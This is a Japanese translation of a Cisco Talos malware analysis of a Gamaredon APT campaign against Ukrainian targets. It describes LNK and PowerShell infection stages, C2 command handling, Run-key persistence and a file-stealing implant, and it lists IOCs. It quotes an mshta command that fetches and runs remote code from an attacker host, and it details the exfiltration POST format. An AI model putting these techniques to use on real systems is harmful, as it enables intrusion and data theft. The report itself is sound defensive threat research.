- Cisco Talos はこのほど、ロシアとつながりがある Gamaredon APT が新たな攻撃を展開していて、ウクライナの標的に情報窃取型のマルウェアを感染させていることを確認しました。
- 攻撃者は不正ドキュメントを使用しており、ロシアのウクライナ侵攻に関連する話題で標的を誘い込もうとしています。
- 初期アクセスでは LNK ファイル、PowerShell、VBScript が使用されており、感染後のフェーズで悪意のあるバイナリが展開されます。
- カスタムメイドの情報窃取マルウェアインプラントが使用されていることが確認されました。このインプラントは、被害者の環境から関心のあるファイルを盗み出す機能と、攻撃者の指示に従って追加のペイロードを展開する機能を備えています。
Cisco Talos は、Gamaredon APT がウクライナを標的とした攻撃活動を展開しており、RAR アーカイブで悪意のある LNK ファイルを配布していることを確認しました。この攻撃は、2022 年 8 月に確認されて現在も継続されているスパイ活動の一環であり、ウクライナの被害者のマシンに情報窃取型のマルウェアを配布することを目的としています。感染チェーンでは、複数のモジュール型 PowerShell および VBScript(VBS)スクリプトが多用されています。この情報窃取マルウェアは 2 つの目的を持っており、感染したエンドポイントで特定のファイルタイプを盗み出す機能と、追加のバイナリやスクリプトベースのペイロードを展開する機能を備えています。
攻撃者はフィッシングメールを使用して Microsoft Office ドキュメントを配布しています。このドキュメントに含まれているリモートテンプレートには、悪意のある VBScript マクロが仕込まれています。それらのマクロは、LNK ファイルを含んだ RAR アーカイブをダウンロードして開きます。その後、LNK ファイルによって次のステージのペイロードが感染したエンドポイントにダウンロードされ、アクティブ化されます。今回の攻撃と、ウクライナのコンピュータ緊急対応チーム(CERT-UA)が Gamaredon によるものと最近発表した一連の攻撃の間には、戦術、手法、手順(TTP)、マルウェアアーティファクト、インフラストラクチャの面で多くの共通点があることが確認されています。
また、ウクライナのいくつかの機関に侵入しようとする試みも確認されています。これらの観察結果や、Gamaredon は過去の攻撃でほぼ例外なくウクライナを標的にしていることから、この最近の攻撃でウクライナの機関が直接の標的になっているのはほぼ確実であると Talos では考えています。
攻撃チェーン
初期アクセス
攻撃者である Gamaredon APT は、悪意のある Microsoft Office ドキュメントを電子メールに添付して配布することで、標的のネットワークに対する最初の足掛かりを築いている可能性があります。これは、この APT が好んで使用するスピアフィッシング手法と一致しています。
ドキュメントを開くと、リモートテンプレートに仕込まれた悪意のある VBS マクロが実行されます。このマクロによって、LNK ファイルを含んだ RAR アーカイブがダウンロードされます。この攻撃で使用される RAR アーカイブは、次のような命名パターンに従っています。
- 07.2022.rar
- 08.2022.rar
- 08.2022.rar
これらの圧縮アーカイブには、通常、LNK ファイルのみが含まれています。LNK ファイルや Microsoft Office ドキュメントの名前は、ロシアのウクライナ侵攻に関するものとなっています。
実行
LNK が開かれると、次のように MSHTA.EXE が実行されてリモート XML ファイルがダウンロードおよび解析され、悪意のある PowerShell スクリプトが実行されます。
mshta.exe hxxp://a0704093.xsph[.]ru/bass/grudge.xml /f
Gamaredon はドメイン xsph[.]ru を使用することが知られています。この攻撃でサーバーが受け付けるのは、ウクライナのアドレス空間に属する IP アドレスからのアクセスのみです。
この PowerShell スクリプトは 2 番目の PowerShell スクリプト(展開ツール)を復号化して実行します。この 2 番目の PowerShell スクリプトは、被害者のデータを収集してリモートサーバーに送信します。また、リモートサーバーはこのスクリプトを通じて、PowerShell コマンドや暗号化された VBScript(VBS)コードを含んだバイナリ BLOB を送信し、ローカルで実行させることができます。
エンドポイントで追加のコマンドやペイロードを実行する第 2 ステージの PowerShell スクリプト
この PowerShell スクリプト(展開ツール)は通常、コマンドアンドコントロール(C2)サーバーからの暗号化された応答を復号化して、VBScript オブジェクトとして実行する機能を備えています。XOR デコーダで使用されるキーは、マシンのボリュームシリアル番号と、応答 BLOB で渡されるインデックスパラメータに基づいて計算されます。したがって、データを傍受できたとしても、両方のパラメータが分からなければ悪意のあるコンテンツを復号化することは困難となっています。
さらに、この PowerShell スクリプトは現在のユーザーの画面を繰り返しキャプチャします。このコードは、「System.Windows.Forms」オブジェクトを使用して仮想デスクトップのコピーをキャプチャします。これにはマルチスクリーンのセットアップも含まれます。スクリーンキャプチャは 9 回実行されますが、スクリーンショットは常に「%TEMP%\test.png」に保存され、毎回上書きされます。作成された画像(PNG ファイル)が base64 エンコードの文字列に変換されて変数に保存されると、スクリーンショットの画像ファイルがディスクから削除されます。
その後、被害者の情報がリモートサーバーにアップロードされます。次の情報が収集されて、ハードコーディングされた C2 URL に送信されます。
- コンピュータ名
- ボリュームシリアル番号
- base64 エンコードされたスクリーンショット
システム情報が送信されると、サーバーの応答が解析され、実行するコマンドの有無が確認されます。スクリプト全体は最大 4 回実行されるので、最大で 4 種類のコマンドが毎回実行される可能性があります。
このコードでは、最初の文字が感嘆符(「!」)であるかどうかが確認されます。感嘆符である場合、応答の残りの部分は PowerShell コードであると見なされ、コマンド IEX に直接渡されます。その後、このコマンドの出力が変数「cmd」に追加され、C2 サーバーに送信されます。
応答が他の文字で始まっている場合は、暗号化された BLOB であると見なされ、ボリュームシリアル番号とともにデコーダ関数に渡されて復号化され、VBScript として実行されます。
感染チェーンの図
ペイロード
さらに別の PowerShell スクリプト
展開ツールスクリプトに提供されたペイロードの 1 つとして、PowerShell コードがあります。このコードは環境変数を設定して別の PowerShell コードを保存し、ユーザーがログインするたびに実行されるようにレジストリ RUN キーを設定します。
RUN キーを設定して、環境変数に保存した別の PowerShell スクリプトが実行されるようにする PowerShell スクリプト
このスクリプトには、次の 2 つの主要コンポーネントがあります。
- Get-IP 関数:この関数は、攻撃者が指定したドメインを DNS ルックアップサービスにクエリし、返された IP アドレスの 1 つを IP として使用して次のステージのペイロードをダウンロードします。
- 次のステージのペイロード:PowerShell スクリプトはこの IP アドレスを使用して、次のステージの PowerShell スクリプトの提供元となる URL を作成します。その後、次のステージの PowerShell スクリプトが「$env:Include」に保存され、ユーザーがログインするたびに(HKCU\\Run キーを通じて)実行されます。
リモートロケーションの IP を取得する永続化スクリプト
環境変数内の PowerShell コードは、感染したエンドポイントに攻撃者が継続的にアクセスできるようにすることを目的としており、必要に応じて追加のペイロードを展開する機能を備えています。Gamaredon が 2022 年上半期に行った GammaLoad および GammaSteel インプラントを使用した侵入でも同様の PowerShell スクリプトが使用されたことが、CERT-UA の最近の警告で説明されています。
環境変数に保存される PowerShell スクリプト
このスクリプトは、同じ Get-IP() 関数を使用して、ドメインに割り当てられた IP の 1 つをランダムに取得し、その IP アドレスとハードコーディングされた拡張リソースからなる URL をクエリします。前のスクリプトと同様に、C2 サーバーとの通信ではコンピュータ名とボリュームシリアル番号が使用されます。C2 サーバーはそれらを使用して次のステージのペイロードをエンコードし、スクリプトに提供します。
C2 からの応答が「http」で始まっている場合は、最終ペイロードのバイナリをダウンロードするための URL と見なされます。ボリュームシリアル番号とコンピュータ名がこの URL に渡され、その応答が XorBytes 関数を使用して復号化されます。
C2 サーバーからのペイロードを復号化するための PowerShell 関数
復号されたバイナリは、ランダムな数字の文字列に「.exe」というファイル拡張子を付加した名前で「%TEMP%」フォルダに保存され、実行されます。
C2 からの応答が「http」で始まっていない場合は、VBS と見なされて COM オブジェクトを通じて実行されます。
情報窃取マルウェア
PowerShell スクリプトを通じて攻撃者が展開した実行ファイルの 1 つとして、情報窃取マルウェアがあります。このマルウェアは、拡張子が .doc、.docx、.xls、.rtf、.odt、.txt、.jpg、.jpeg、.pdf、.ps1、.rar、.zip、.7z、.mdb のファイルを感染したエンドポイントから盗み出します。これは新しい情報窃取マルウェアで、Gamaredon の過去の他の攻撃では使用されていません。Gamaredon が使用している「Giddome」バックドアファミリのコンポーネントの 1 つではないかと思われますが、現時点では確認できていません。
この悪意のあるバイナリは、窃取したファイルを「%USERPROFILE%\Appdata\Local」フォルダ内の「profiles_c.ini」というファイルで追跡します。窃取したファイルのファイル名、ファイルサイズ、変更日時からなる文字列の MD5 ハッシュがここに保存されます。
このマルウェアが起動されると、接続されているすべてのストレージデバイスがスキャンされて、前述の拡張子を持つファイルが検索されます。それぞれのファイルについて POST リクエストが行われ、窃取したファイルに関するメタデータとそのコンテンツが送信されます。
ファイルを窃取する POST データ
パラメータ「p」には、窃取したファイルと被害者のマシンに関するメタデータが次の形式で含まれています。
%u&&%s&&%s&&%s&&%s&&%s
各パラメータは次のとおりです。
<Hard_coded_value>&&<File_name>&&<File_Modification_Date_time>&&<FileSize>&&__&&<Computer_Name>&&<Username>&&<Victim_ID_randomly_generated_string_12_chars>&&<Volume Serial Number>
メタデータの後に、ファイルの raw コンテンツが続きます。リクエストは、親の C2 ドメインのランダムな URI に対して行われます。インプラントが生成したランダムな 12 文字の文字列が C2 ドメインのサブドメインとして使用されてリクエストが送信されます。
例:<random_12_char_string>[.]celticso[.]ru
このインプラントは、固定ドライブとリモートドライブ、特に「C:\Users」フォルダにある関連するファイル拡張子も検索します。システム上のディレクトリにあるすべてのファイルが再帰的に列挙されますが、次の文字列をパスに含むフォルダは列挙されません。
- program files
- program files (x86)
- programdata
- perflogs
- prog
- windows
- appdata
- local
- roaming
これらのフォルダを避けることで、システムファイルを除外して、関心のあるユーザーファイルだけを盗み出そうとしている可能性があります。
C2 に送信したファイルごとに次の情報の MD5 ハッシュが計算されて、「%LocalAppData%\profiles_c.ini」ファイルに保存されます。
<file_path><File_size><File_modification_date_time>
さらに、感染したエンドポイントに接続されているリムーバブルドライブからもファイルが窃取されます。リムーバブルドライブが見つかると、前述のファイル拡張子を持つファイルが検索されます。ファイルが見つかると、%TEMP% ディレクトリにランダムな名前のフォルダが作成され、そのファイルが元の場所から次の場所にコピーされます。
%Temp%\<randomly_named_folder>\connect\<removable_vol_serial_number>\<original file path>
たとえば、リモートドライブ「E:」のパス「E:\top_secret_docs\isengard.doc」で見つかったユーザーファイルは、次の場所にコピーされます。
「%temp%\randomly_named_folder\connect\<removable_vol_serial_number>\top_secret_docs\isengard.doc」
その後、一時ディレクトリ内のフォルダの内容が C2 に送信されます。
ペイロードの配布
前述のツール(PS1 スクリプトなど)と同様に、このバイナリでもサーバー応答が解析され、リクエストに応じて追加のペイロードがダウンロードされます。サーバーからの応答には、データの処理方法を示すフラグが含まれています。
フラグ | ペイロードタイプ | アクション |
1 | EXE | ディスクに書き込んで実行する。 |
2 | VBS | ディスクに書き込み、wscript.exe を使用して実行する。 |
その他の値 | データの BLOB | ディスク上の %TEMP% フォルダ内のファイルに書き込む。 |
追加のペイロードをドロップするコードの流れ
このマルウェアがシステムに存在する可能性を示すその他の兆候には、次のものがあります。
- 「Windows Task」という永続化のためのレジストリキーが HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run に作成される
- Global\flashupdate_r というミューテックスが作成される
カバレッジ
お客様がこの脅威を検出してブロックするための方法を以下に記載します。
Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、
Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトをテストします。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。この脅威に対応するための Snort ルール 60517 ~ 60539 が提供されています。
Orbital クエリ
Cisco Secure Endpoint ユーザーは、Orbital Advanced Search を使用して複雑な OSquery を実行し、エンドポイントが特定の脅威に感染しているかどうかを確認できます。類似の脅威に対応する OSquery の具体例については、こちらとこちらをクリックしてください。
IOC(侵入の痕跡)
IOC リストは、こちらにある Talos の GitHub リポジトリからも入手できます。
悪意のあるドキュメント
4aa2c783ae3d2d58f12d5e89282069533a80a7ba6f7fe6c548c6230a9601e650
LNK ファイル
581ed090237b314a9f5cd65076cd876c229e1d51328a24effd9c8d812eaebe6a
34bf1a232870df28809597d49a70d9b549d776e1e4beb3308ff6d169a59ecd02
78c6b489ac6cebf846aab3687bbe64801fdf924f36f312802c6bb815ed6400ba
1cb2d299508739ae85d655efd6470c7402327d799eb4b69974e2efdb9226e447
a9916af0476243e6e0dbef9c45b955959772c4d18b7d1df583623e06414e53b7
8294815c2342ff11739aff5a55c993f5dd23c6c7caff2ee770e69e88a7c4cb6a
be79d470c081975528c0736a0aa10214e10e182c8948bc4526138846512f19e7
5264e8a8571fe0ef689933b8bc2ebe46b985c9263b24ea34e306d54358380cbb
ff7e8580ce6df5d5f5a2448b4646690a6f6d66b1db37f887b451665f4115d1a2
1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c
RAR ファイル
750bcec54a2e51f3409c83e2100dfb23d30391e20e1c8051c2bc695914c413e3
情報窃取マルウェア
139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a
悪意のある URL
hxxp://a0698649.xsph[.]ru/barley/barley.xml
hxxp://a0700343.xsph[.]ru/new/preach.xml
hxxp://a0700462.xsph[.]ru/grow/guests.xml
hxxp://a0700462.xsph[.]ru/seek/lost.xml
hxxp://a0701919.xsph[.]ru/head/selling.xml
hxxp://a0701919.xsph[.]ru/predator/decimal.xml
hxxp://a0701919.xsph[.]ru/registry/prediction.xml
hxxp://a0704093.xsph[.]ru/basement/insufficient.xml
hxxp://a0704093.xsph[.]ru/bass/grudge.xml
hxxp://a0705076.xsph[.]ru/ramzeses1.html
hxxp://a0705076.xsph[.]ru/regiment.txt
hxxp://a0705269.xsph[.]ru/bars/dearest.txt
hxxp://a0705269.xsph[.]ru/instruct/deaf.txt
hxxp://a0705269.xsph[.]ru/prok/gur.html
hxxp://a0705581.xsph[.]ru/guinea/preservation.txt
hxxp://a0705880.xsph[.]ru/band/sentiment.txt
hxxp://a0705880.xsph[.]ru/based/pre.txt
hxxp://a0705880.xsph[.]ru/selection/seedling.txt
hxxp://a0706248.xsph[.]ru/reject/headlong.txt
hxxp://a0707763.xsph[.]ru/decipher/prayer.txt
追加のペイロードのドロップサイト
hxxp://155.138.252[.]221/get.php
hxxp://45.77.237[.]252/get.php
hxxp://motoristo[.]ru/get.php
hxxp://heato[.]ru/index.php
hxxps://<random_string>.celticso[.]ru
162[.]33[.]178[.]129
kuckuduk[.]ru
pasamart[.]ru
celticso[.]ru
本稿は 2022 年 09 月 15 日に Talos Group のブログに投稿された「Gamaredon APT targets Ukrainian government agencies in new campaign」の抄訳です。